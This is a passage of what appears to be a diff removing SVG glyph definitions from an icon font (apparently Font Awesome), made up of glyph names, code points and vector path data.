-q-107 34 -147.5 126.5t6.5 187.5q47 93 151.5 139t210.5 19q111 -29 158.5 -119.5t2.5 -190.5zM1255 426q-9 96 -89 170t-208.5 109t-274.5 21q-223 -23 -369.5 -141.5t-132.5 -264.5q9 -96 89 -170t208.5 -109t274.5 -21q223 23 369.5 141.5t132.5 264.5zM1563 422
-q0 -68 -37 -139.5t-109 -137t-168.5 -117.5t-226 -83t-270.5 -31t-275 33.5t-240.5 93t-171.5 151t-65 199.5q0 115 69.5 245t197.5 258q169 169 341.5 236t246.5 -7q65 -64 20 -209q-4 -14 -1 -20t10 -7t14.5 0.5t13.5 3.5l6 2q139 59 246 59t153 -61q45 -63 0 -178
-q-2 -13 -4.5 -20t4.5 -12.5t12 -7.5t17 -6q57 -18 103 -47t80 -81.5t34 -116.5zM1489 1046q42 -47 54.5 -108.5t-6.5 -117.5q-8 -23 -29.5 -34t-44.5 -4q-23 8 -34 29.5t-4 44.5q20 63 -24 111t-107 35q-24 -5 -45 8t-25 37q-5 24 8 44.5t37 25.5q60 13 119 -5.5t101 -65.5z
-M1670 1209q87 -96 112.5 -222.5t-13.5 -241.5q-9 -27 -34 -40t-52 -4t-40 34t-5 52q28 82 10 172t-80 158q-62 69 -148 95.5t-173 8.5q-28 -6 -52 9.5t-30 43.5t9.5 51.5t43.5 29.5q123 26 244 -11.5t208 -134.5z" />
-    <glyph glyph-name="renren" unicode="&#xf18b;" 
-d="M1133 -34q-171 -94 -368 -94q-196 0 -367 94q138 87 235.5 211t131.5 268q35 -144 132.5 -268t235.5 -211zM638 1394v-485q0 -252 -126.5 -459.5t-330.5 -306.5q-181 215 -181 495q0 187 83.5 349.5t229.5 269.5t325 137zM1536 638q0 -280 -181 -495
-q-204 99 -330.5 306.5t-126.5 459.5v485q179 -30 325 -137t229.5 -269.5t83.5 -349.5z" />
-    <glyph glyph-name="_372" unicode="&#xf18c;" horiz-adv-x="1408" 
-d="M1402 433q-32 -80 -76 -138t-91 -88.5t-99 -46.5t-101.5 -14.5t-96.5 8.5t-86.5 22t-69.5 27.5t-46 22.5l-17 10q-113 -228 -289.5 -359.5t-384.5 -132.5q-19 0 -32 13t-13 32t13 31.5t32 12.5q173 1 322.5 107.5t251.5 294.5q-36 -14 -72 -23t-83 -13t-91 2.5t-93 28.5
-t-92 59t-84.5 100t-74.5 146q114 47 214 57t167.5 -7.5t124.5 -56.5t88.5 -77t56.5 -82q53 131 79 291q-7 -1 -18 -2.5t-46.5 -2.5t-69.5 0.5t-81.5 10t-88.5 23t-84 42.5t-75 65t-54.5 94.5t-28.5 127.5q70 28 133.5 36.5t112.5 -1t92 -30t73.5 -50t56 -61t42 -63t27.5 -56
-t16 -39.5l4 -16q12 122 12 195q-8 6 -21.5 16t-49 44.5t-63.5 71.5t-54 93t-33 112.5t12 127t70 138.5q73 -25 127.5 -61.5t84.5 -76.5t48 -85t20.5 -89t-0.5 -85.5t-13 -76.5t-19 -62t-17 -42l-7 -15q1 -4 1 -50t-1 -72q3 7 10 18.5t30.5 43t50.5 58t71 55.5t91.5 44.5
-t112 14.5t132.5 -24q-2 -78 -21.5 -141.5t-50 -104.5t-69.5 -71.5t-81.5 -45.5t-84.5 -24t-80 -9.5t-67.5 1t-46.5 4.5l-17 3q-23 -147 -73 -283q6 7 18 18.5t49.5 41t77.5 52.5t99.5 42t117.5 20t129 -23.5t137 -77.5z" />
-    <glyph glyph-name="stack_exchange" unicode="&#xf18d;" horiz-adv-x="1280" 
-d="M1259 283v-66q0 -85 -57.5 -144.5t-138.5 -59.5h-57l-260 -269v269h-529q-81 0 -138.5 59.5t-57.5 144.5v66h1238zM1259 609v-255h-1238v255h1238zM1259 937v-255h-1238v255h1238zM1259 1077v-67h-1238v67q0 84 57.5 143.5t138.5 59.5h846q81 0 138.5 -59.5t57.5 -143.5z
-" />
-    <glyph glyph-name="_374" unicode="&#xf18e;" 
-d="M1152 640q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
-t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="arrow_circle_alt_left" unicode="&#xf190;" 
-d="M1152 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-192q0 -14 -9 -23t-23 -9q-12 0 -24 10l-319 319q-9 9 -9 23t9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h352q13 0 22.5 -9.5t9.5 -22.5zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
-t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="_376" unicode="&#xf191;" 
-d="M1024 960v-640q0 -26 -19 -45t-45 -19q-20 0 -37 12l-448 320q-27 19 -27 52t27 52l448 320q17 12 37 12q26 0 45 -19t19 -45zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5z
-M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="dot_circle_alt" unicode="&#xf192;" 
-d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5
-t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="_378" unicode="&#xf193;" horiz-adv-x="1664" 
-d="M1023 349l102 -204q-58 -179 -210 -290t-339 -111q-156 0 -288.5 77.5t-210 210t-77.5 288.5q0 181 104.5 330t274.5 211l17 -131q-122 -54 -195 -165.5t-73 -244.5q0 -185 131.5 -316.5t316.5 -131.5q126 0 232.5 65t165 175.5t49.5 236.5zM1571 249l58 -114l-256 -128
-q-13 -7 -29 -7q-40 0 -57 35l-239 477h-472q-24 0 -42.5 16.5t-21.5 40.5l-96 779q-2 17 6 42q14 51 57 82.5t97 31.5q66 0 113 -47t47 -113q0 -69 -52 -117.5t-120 -41.5l37 -289h423v-128h-407l16 -128h455q40 0 57 -35l228 -455z" />
-    <glyph glyph-name="vimeo_square" unicode="&#xf194;" 
-d="M1292 898q10 216 -161 222q-231 8 -312 -261q44 19 82 19q85 0 74 -96q-4 -57 -74 -167t-105 -110q-43 0 -82 169q-13 54 -45 255q-30 189 -160 177q-59 -7 -164 -100l-81 -72l-81 -72l52 -67q76 52 87 52q57 0 107 -179q15 -55 45 -164.5t45 -164.5q68 -179 164 -179
-q157 0 383 294q220 283 226 444zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="_380" unicode="&#xf195;" horiz-adv-x="1152" 
-d="M1152 704q0 -191 -94.5 -353t-256.5 -256.5t-353 -94.5h-160q-14 0 -23 9t-9 23v611l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v93l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v250q0 14 9 23t23 9h160
-q14 0 23 -9t9 -23v-181l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-93l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-487q188 13 318 151t130 328q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="plus_square_o" unicode="&#xf196;" horiz-adv-x="1408" 
-d="M1152 736v-64q0 -14 -9 -23t-23 -9h-352v-352q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v352h-352q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h352v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-352h352q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832
-q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="_382" unicode="&#xf197;" horiz-adv-x="2176" 
-d="M620 416q-110 -64 -268 -64h-128v64h-64q-13 0 -22.5 23.5t-9.5 56.5q0 24 7 49q-58 2 -96.5 10.5t-38.5 20.5t38.5 20.5t96.5 10.5q-7 25 -7 49q0 33 9.5 56.5t22.5 23.5h64v64h128q158 0 268 -64h1113q42 -7 106.5 -18t80.5 -14q89 -15 150 -40.5t83.5 -47.5t22.5 -40
-t-22.5 -40t-83.5 -47.5t-150 -40.5q-16 -3 -80.5 -14t-106.5 -18h-1113zM1739 668q53 -36 53 -92t-53 -92l81 -30q68 48 68 122t-68 122zM625 400h1015q-217 -38 -456 -80q-57 0 -113 -24t-83 -48l-28 -24l-288 -288q-26 -26 -70.5 -45t-89.5 -19h-96l-93 464h29
-q157 0 273 64zM352 816h-29l93 464h96q46 0 90 -19t70 -45l288 -288q4 -4 11 -10.5t30.5 -23t48.5 -29t61.5 -23t72.5 -10.5l456 -80h-1015q-116 64 -273 64z" />
-    <glyph glyph-name="_383" unicode="&#xf198;" horiz-adv-x="1664" 
-d="M1519 760q62 0 103.5 -40.5t41.5 -101.5q0 -97 -93 -130l-172 -59l56 -167q7 -21 7 -47q0 -59 -42 -102t-101 -43q-47 0 -85.5 27t-53.5 72l-55 165l-310 -106l55 -164q8 -24 8 -47q0 -59 -42 -102t-102 -43q-47 0 -85 27t-53 72l-55 163l-153 -53q-29 -9 -50 -9
-q-61 0 -101.5 40t-40.5 101q0 47 27.5 85t71.5 53l156 53l-105 313l-156 -54q-26 -8 -48 -8q-60 0 -101 40.5t-41 100.5q0 47 27.5 85t71.5 53l157 53l-53 159q-8 24 -8 47q0 60 42 102.5t102 42.5q47 0 85 -27t53 -72l54 -160l310 105l-54 160q-8 24 -8 47q0 59 42.5 102
-t101.5 43q47 0 85.5 -27.5t53.5 -71.5l53 -161l162 55q21 6 43 6q60 0 102.5 -39.5t42.5 -98.5q0 -45 -30 -81.5t-74 -51.5l-157 -54l105 -316l164 56q24 8 46 8zM725 498l310 105l-105 315l-310 -107z" />
-    <glyph glyph-name="_384" unicode="&#xf199;" 
-d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM1280 352v436q-31 -35 -64 -55q-34 -22 -132.5 -85t-151.5 -99q-98 -69 -164 -69v0v0q-66 0 -164 69
-q-47 32 -142 92.5t-142 92.5q-12 8 -33 27t-31 27v-436q0 -40 28 -68t68 -28h832q40 0 68 28t28 68zM1280 925q0 41 -27.5 70t-68.5 29h-832q-40 0 -68 -28t-28 -68q0 -37 30.5 -76.5t67.5 -64.5q47 -32 137.5 -89t129.5 -83q3 -2 17 -11.5t21 -14t21 -13t23.5 -13
-t21.5 -9.5t22.5 -7.5t20.5 -2.5t20.5 2.5t22.5 7.5t21.5 9.5t23.5 13t21 13t21 14t17 11.5l267 174q35 23 66.5 62.5t31.5 73.5z" />
-    <glyph glyph-name="_385" unicode="&#xf19a;" horiz-adv-x="1792" 
-d="M127 640q0 163 67 313l367 -1005q-196 95 -315 281t-119 411zM1415 679q0 -19 -2.5 -38.5t-10 -49.5t-11.5 -44t-17.5 -59t-17.5 -58l-76 -256l-278 826q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-75 1 -202 10q-12 1 -20.5 -5t-11.5 -15t-1.5 -18.5t9 -16.5
-t19.5 -8l80 -8l120 -328l-168 -504l-280 832q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-7 0 -23 0.5t-26 0.5q105 160 274.5 253.5t367.5 93.5q147 0 280.5 -53t238.5 -149h-10q-55 0 -92 -40.5t-37 -95.5q0 -12 2 -24t4 -21.5t8 -23t9 -21t12 -22.5t12.5 -21
-t14.5 -24t14 -23q63 -107 63 -212zM909 573l237 -647q1 -6 5 -11q-126 -44 -255 -44q-112 0 -217 32zM1570 1009q95 -174 95 -369q0 -209 -104 -385.5t-279 -278.5l235 678q59 169 59 276q0 42 -6 79zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286
-t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 -215q173 0 331.5 68t273 182.5t182.5 273t68 331.5t-68 331.5t-182.5 273t-273 182.5t-331.5 68t-331.5 -68t-273 -182.5t-182.5 -273t-68 -331.5t68 -331.5t182.5 -273
-t273 -182.5t331.5 -68z" />
-    <glyph glyph-name="_386" unicode="&#xf19b;" horiz-adv-x="1792" 
-d="M1086 1536v-1536l-272 -128q-228 20 -414 102t-293 208.5t-107 272.5q0 140 100.5 263.5t275 205.5t391.5 108v-172q-217 -38 -356.5 -150t-139.5 -255q0 -152 154.5 -267t388.5 -145v1360zM1755 954l37 -390l-525 114l147 83q-119 70 -280 99v172q277 -33 481 -157z" />
-    <glyph glyph-name="_387" unicode="&#xf19c;" horiz-adv-x="2048" 
-d="M960 1536l960 -384v-128h-128q0 -26 -20.5 -45t-48.5 -19h-1526q-28 0 -48.5 19t-20.5 45h-128v128zM256 896h256v-768h128v768h256v-768h128v768h256v-768h128v768h256v-768h59q28 0 48.5 -19t20.5 -45v-64h-1664v64q0 26 20.5 45t48.5 19h59v768zM1851 -64
-q28 0 48.5 -19t20.5 -45v-128h-1920v128q0 26 20.5 45t48.5 19h1782z" />
-    <glyph glyph-name="_388" unicode="&#xf19d;" horiz-adv-x="2304" 
-d="M1774 700l18 -316q4 -69 -82 -128t-235 -93.5t-323 -34.5t-323 34.5t-235 93.5t-82 128l18 316l574 -181q22 -7 48 -7t48 7zM2304 1024q0 -23 -22 -31l-1120 -352q-4 -1 -10 -1t-10 1l-652 206q-43 -34 -71 -111.5t-34 -178.5q63 -36 63 -109q0 -69 -58 -107l58 -433
-q2 -14 -8 -25q-9 -11 -24 -11h-192q-15 0 -24 11q-10 11 -8 25l58 433q-58 38 -58 107q0 73 65 111q11 207 98 330l-333 104q-22 8 -22 31t22 31l1120 352q4 1 10 1t10 -1l1120 -352q22 -8 22 -31z" />
-    <glyph glyph-name="_389" unicode="&#xf19e;" 
-d="M859 579l13 -707q-62 11 -105 11q-41 0 -105 -11l13 707q-40 69 -168.5 295.5t-216.5 374.5t-181 287q58 -15 108 -15q44 0 111 15q63 -111 133.5 -229.5t167 -276.5t138.5 -227q37 61 109.5 177.5t117.5 190t105 176t107 189.5q54 -14 107 -14q56 0 114 14v0
-q-28 -39 -60 -88.5t-49.5 -78.5t-56.5 -96t-49 -84q-146 -248 -353 -610z" />
-    <glyph glyph-name="uniF1A0" unicode="&#xf1a0;" 
-d="M768 750h725q12 -67 12 -128q0 -217 -91 -387.5t-259.5 -266.5t-386.5 -96q-157 0 -299 60.5t-245 163.5t-163.5 245t-60.5 299t60.5 299t163.5 245t245 163.5t299 60.5q300 0 515 -201l-209 -201q-123 119 -306 119q-129 0 -238.5 -65t-173.5 -176.5t-64 -243.5
-t64 -243.5t173.5 -176.5t238.5 -65q87 0 160 24t120 60t82 82t51.5 87t22.5 78h-436v264z" />
-    <glyph glyph-name="f1a1" unicode="&#xf1a1;" horiz-adv-x="1792" 
-d="M1095 369q16 -16 0 -31q-62 -62 -199 -62t-199 62q-16 15 0 31q6 6 15 6t15 -6q48 -49 169 -49q120 0 169 49q6 6 15 6t15 -6zM788 550q0 -37 -26 -63t-63 -26t-63.5 26t-26.5 63q0 38 26.5 64t63.5 26t63 -26.5t26 -63.5zM1183 550q0 -37 -26.5 -63t-63.5 -26t-63 26
-t-26 63t26 63.5t63 26.5t63.5 -26t26.5 -64zM1434 670q0 49 -35 84t-85 35t-86 -36q-130 90 -311 96l63 283l200 -45q0 -37 26 -63t63 -26t63.5 26.5t26.5 63.5t-26.5 63.5t-63.5 26.5q-54 0 -80 -50l-221 49q-19 5 -25 -16l-69 -312q-180 -7 -309 -97q-35 37 -87 37
-q-50 0 -85 -35t-35 -84q0 -35 18.5 -64t49.5 -44q-6 -27 -6 -56q0 -142 140 -243t337 -101q198 0 338 101t140 243q0 32 -7 57q30 15 48 43.5t18 63.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191
-t348 71t348 -71t286 -191t191 -286t71 -348z" />
-    <glyph glyph-name="_392" unicode="&#xf1a2;" 
-d="M939 407q13 -13 0 -26q-53 -53 -171 -53t-171 53q-13 13 0 26q5 6 13 6t13 -6q42 -42 145 -42t145 42q5 6 13 6t13 -6zM676 563q0 -31 -23 -54t-54 -23t-54 23t-23 54q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1014 563q0 -31 -23 -54t-54 -23t-54 23t-23 54
-q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1229 666q0 42 -30 72t-73 30q-42 0 -73 -31q-113 78 -267 82l54 243l171 -39q1 -32 23.5 -54t53.5 -22q32 0 54.5 22.5t22.5 54.5t-22.5 54.5t-54.5 22.5q-48 0 -69 -43l-189 42q-17 5 -21 -13l-60 -268q-154 -6 -265 -83
-q-30 32 -74 32q-43 0 -73 -30t-30 -72q0 -30 16 -55t42 -38q-5 -25 -5 -48q0 -122 120 -208.5t289 -86.5q170 0 290 86.5t120 208.5q0 25 -6 49q25 13 40.5 37.5t15.5 54.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
-q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="_393" unicode="&#xf1a3;" 
-d="M866 697l90 27v62q0 79 -58 135t-138 56t-138 -55.5t-58 -134.5v-283q0 -20 -14 -33.5t-33 -13.5t-32.5 13.5t-13.5 33.5v120h-151v-122q0 -82 57.5 -139t139.5 -57q81 0 138.5 56.5t57.5 136.5v280q0 19 13.5 33t33.5 14q19 0 32.5 -14t13.5 -33v-54zM1199 502v122h-150
-v-126q0 -20 -13.5 -33.5t-33.5 -13.5q-19 0 -32.5 14t-13.5 33v123l-90 -26l-60 28v-123q0 -80 58 -137t139 -57t138.5 57t57.5 139zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103
-t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="f1a4" unicode="&#xf1a4;" horiz-adv-x="1920" 
-d="M1062 824v118q0 42 -30 72t-72 30t-72 -30t-30 -72v-612q0 -175 -126 -299t-303 -124q-178 0 -303.5 125.5t-125.5 303.5v266h328v-262q0 -43 30 -72.5t72 -29.5t72 29.5t30 72.5v620q0 171 126.5 292t301.5 121q176 0 302 -122t126 -294v-136l-195 -58zM1592 602h328
-v-266q0 -178 -125.5 -303.5t-303.5 -125.5q-177 0 -303 124.5t-126 300.5v268l131 -61l195 58v-270q0 -42 30 -71.5t72 -29.5t72 29.5t30 71.5v275z" />
-    <glyph glyph-name="_395" unicode="&#xf1a5;" 
-d="M1472 160v480h-704v704h-480q-93 0 -158.5 -65.5t-65.5 -158.5v-480h704v-704h480q93 0 158.5 65.5t65.5 158.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
-t84.5 -203.5z" />
-    <glyph glyph-name="_396" unicode="&#xf1a6;" horiz-adv-x="2048" 
-d="M328 1254h204v-983h-532v697h328v286zM328 435v369h-123v-369h123zM614 968v-697h205v697h-205zM614 1254v-204h205v204h-205zM901 968h533v-942h-533v163h328v82h-328v697zM1229 435v369h-123v-369h123zM1516 968h532v-942h-532v163h327v82h-327v697zM1843 435v369h-123
-v-369h123z" />
-    <glyph glyph-name="_397" unicode="&#xf1a7;" 
-d="M1046 516q0 -64 -38 -109t-91 -45q-43 0 -70 15v277q28 17 70 17q53 0 91 -45.5t38 -109.5zM703 944q0 -64 -38 -109.5t-91 -45.5q-43 0 -70 15v277q28 17 70 17q53 0 91 -45t38 -109zM1265 513q0 134 -88 229t-213 95q-20 0 -39 -3q-23 -78 -78 -136q-87 -95 -211 -101
-v-636l211 41v206q51 -19 117 -19q125 0 213 95t88 229zM922 940q0 134 -88.5 229t-213.5 95q-74 0 -141 -36h-186v-840l211 41v206q55 -19 116 -19q125 0 213.5 95t88.5 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
-q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="_398" unicode="&#xf1a8;" horiz-adv-x="2038" 
-d="M1222 607q75 3 143.5 -20.5t118 -58.5t101 -94.5t84 -108t75.5 -120.5q33 -56 78.5 -109t75.5 -80.5t99 -88.5q-48 -30 -108.5 -57.5t-138.5 -59t-114 -47.5q-44 37 -74 115t-43.5 164.5t-33 180.5t-42.5 168.5t-72.5 123t-122.5 48.5l-10 -2l-6 -4q4 -5 13 -14
-q6 -5 28 -23.5t25.5 -22t19 -18t18 -20.5t11.5 -21t10.5 -27.5t4.5 -31t4 -40.5l1 -33q1 -26 -2.5 -57.5t-7.5 -52t-12.5 -58.5t-11.5 -53q-35 1 -101 -9.5t-98 -10.5q-39 0 -72 10q-2 16 -2 47q0 74 3 96q2 13 31.5 41.5t57 59t26.5 51.5q-24 2 -43 -24
-q-36 -53 -111.5 -99.5t-136.5 -46.5q-25 0 -75.5 63t-106.5 139.5t-84 96.5q-6 4 -27 30q-482 -112 -513 -112q-16 0 -28 11t-12 27q0 15 8.5 26.5t22.5 14.5l486 106q-8 14 -8 25t5.5 17.5t16 11.5t20 7t23 4.5t18.5 4.5q4 1 15.5 7.5t17.5 6.5q15 0 28 -16t20 -33
-q163 37 172 37q17 0 29.5 -11t12.5 -28q0 -15 -8.5 -26t-23.5 -14l-182 -40l-1 -16q-1 -26 81.5 -117.5t104.5 -91.5q47 0 119 80t72 129q0 36 -23.5 53t-51 18.5t-51 11.5t-23.5 34q0 16 10 34l-68 19q43 44 43 117q0 26 -5 58q82 16 144 16q44 0 71.5 -1.5t48.5 -8.5
-t31 -13.5t20.5 -24.5t15.5 -33.5t17 -47.5t24 -60l50 25q-3 -40 -23 -60t-42.5 -21t-40 -6.5t-16.5 -20.5zM1282 842q-5 5 -13.5 15.5t-12 14.5t-10.5 11.5t-10 10.5l-8 8t-8.5 7.5t-8 5t-8.5 4.5q-7 3 -14.5 5t-20.5 2.5t-22 0.5h-32.5h-37.5q-126 0 -217 -43
-q16 30 36 46.5t54 29.5t65.5 36t46 36.5t50 55t43.5 50.5q12 -9 28 -31.5t32 -36.5t38 -13l12 1v-76l22 -1q247 95 371 190q28 21 50 39t42.5 37.5t33 31t29.5 34t24 31t24.5 37t23 38t27 47.5t29.5 53l7 9q-2 -53 -43 -139q-79 -165 -205 -264t-306 -142q-14 -3 -42 -7.5
-t-50 -9.5t-39 -14q3 -19 24.5 -46t21.5 -34q0 -11 -26 -30zM1061 -79q39 26 131.5 47.5t146.5 21.5q9 0 22.5 -15.5t28 -42.5t26 -50t24 -51t14.5 -33q-121 -45 -244 -45q-61 0 -125 11zM822 568l48 12l109 -177l-73 -48zM1323 51q3 -15 3 -16q0 -7 -17.5 -14.5t-46 -13
-t-54 -9.5t-53.5 -7.5t-32 -4.5l-7 43q21 2 60.5 8.5t72 10t60.5 3.5h14zM866 679l-96 -20l-6 17q10 1 32.5 7t34.5 6q19 0 35 -10zM1061 45h31l10 -83l-41 -12v95zM1950 1535v1v-1zM1950 1535l-1 -5l-2 -2l1 3zM1950 1535l1 1z" />
-    <glyph glyph-name="_399" unicode="&#xf1a9;" 
-d="M1167 -50q-5 19 -24 5q-30 -22 -87 -39t-131 -17q-129 0 -193 49q-5 4 -13 4q-11 0 -26 -12q-7 -6 -7.5 -16t7.5 -20q34 -32 87.5 -46t102.5 -12.5t99 4.5q41 4 84.5 20.5t65 30t28.5 20.5q12 12 7 29zM1128 65q-19 47 -39 61q-23 15 -76 15q-47 0 -71 -10
-q-29 -12 -78 -56q-26 -24 -12 -44q9 -8 17.5 -4.5t31.5 23.5q3 2 10.5 8.5t10.5 8.5t10 7t11.5 7t12.5 5t15 4.5t16.5 2.5t20.5 1q27 0 44.5 -7.5t23 -14.5t13.5 -22q10 -17 12.5 -20t12.5 1q23 12 14 34zM1483 346q0 22 -5 44.5t-16.5 45t-34 36.5t-52.5 14
-q-33 0 -97 -41.5t-129 -83.5t-101 -42q-27 -1 -63.5 19t-76 49t-83.5 58t-100 49t-111 19q-115 -1 -197 -78.5t-84 -178.5q-2 -112 74 -164q29 -20 62.5 -28.5t103.5 -8.5q57 0 132 32.5t134 71t120 70.5t93 31q26 -1 65 -31.5t71.5 -67t68 -67.5t55.5 -32q35 -3 58.5 14
-t55.5 63q28 41 42.5 101t14.5 106zM1536 506q0 -164 -62 -304.5t-166 -236t-242.5 -149.5t-290.5 -54t-293 57.5t-247.5 157t-170.5 241.5t-64 302q0 89 19.5 172.5t49 145.5t70.5 118.5t78.5 94t78.5 69.5t64.5 46.5t42.5 24.5q14 8 51 26.5t54.5 28.5t48 30t60.5 44
-q36 28 58 72.5t30 125.5q129 -155 186 -193q44 -29 130 -68t129 -66q21 -13 39 -25t60.5 -46.5t76 -70.5t75 -95t69 -122t47 -148.5t19.5 -177.5z" />
-    <glyph glyph-name="_400" unicode="&#xf1aa;" 
-d="M1070 463l-160 -160l-151 -152l-30 -30q-65 -64 -151.5 -87t-171.5 -2q-16 -70 -72 -115t-129 -45q-85 0 -145 60.5t-60 145.5q0 72 44.5 128t113.5 72q-22 86 1 173t88 152l12 12l151 -152l-11 -11q-37 -37 -37 -89t37 -90q37 -37 89 -37t89 37l30 30l151 152l161 160z
-M729 1145l12 -12l-152 -152l-12 12q-37 37 -89 37t-89 -37t-37 -89.5t37 -89.5l29 -29l152 -152l160 -160l-151 -152l-161 160l-151 152l-30 30q-68 67 -90 159.5t5 179.5q-70 15 -115 71t-45 129q0 85 60 145.5t145 60.5q76 0 133.5 -49t69.5 -123q84 20 169.5 -3.5
-t149.5 -87.5zM1536 78q0 -85 -60 -145.5t-145 -60.5q-74 0 -131 47t-71 118q-86 -28 -179.5 -6t-161.5 90l-11 12l151 152l12 -12q37 -37 89 -37t89 37t37 89t-37 89l-30 30l-152 152l-160 160l152 152l160 -160l152 -152l29 -30q64 -64 87.5 -150.5t2.5 -171.5
-q76 -11 126.5 -68.5t50.5 -134.5zM1534 1202q0 -77 -51 -135t-127 -69q26 -85 3 -176.5t-90 -158.5l-12 -12l-151 152l12 12q37 37 37 89t-37 89t-89 37t-89 -37l-30 -30l-152 -152l-160 -160l-152 152l161 160l152 152l29 30q67 67 159 89.5t178 -3.5q11 75 68.5 126
-t135.5 51q85 0 145 -60.5t60 -145.5z" />
-    <glyph glyph-name="f1ab" unicode="&#xf1ab;" 
-d="M654 458q-1 -3 -12.5 0.5t-31.5 11.5l-20 9q-44 20 -87 49q-7 5 -41 31.5t-38 28.5q-67 -103 -134 -181q-81 -95 -105 -110q-4 -2 -19.5 -4t-18.5 0q6 4 82 92q21 24 85.5 115t78.5 118q17 30 51 98.5t36 77.5q-8 1 -110 -33q-8 -2 -27.5 -7.5t-34.5 -9.5t-17 -5
-q-2 -2 -2 -10.5t-1 -9.5q-5 -10 -31 -15q-23 -7 -47 0q-18 4 -28 21q-4 6 -5 23q6 2 24.5 5t29.5 6q58 16 105 32q100 35 102 35q10 2 43 19.5t44 21.5q9 3 21.5 8t14.5 5.5t6 -0.5q2 -12 -1 -33q0 -2 -12.5 -27t-26.5 -53.5t-17 -33.5q-25 -50 -77 -131l64 -28
-q12 -6 74.5 -32t67.5 -28q4 -1 10.5 -25.5t4.5 -30.5zM449 944q3 -15 -4 -28q-12 -23 -50 -38q-30 -12 -60 -12q-26 3 -49 26q-14 15 -18 41l1 3q3 -3 19.5 -5t26.5 0t58 16q36 12 55 14q17 0 21 -17zM1147 815l63 -227l-139 42zM39 15l694 232v1032l-694 -233v-1031z
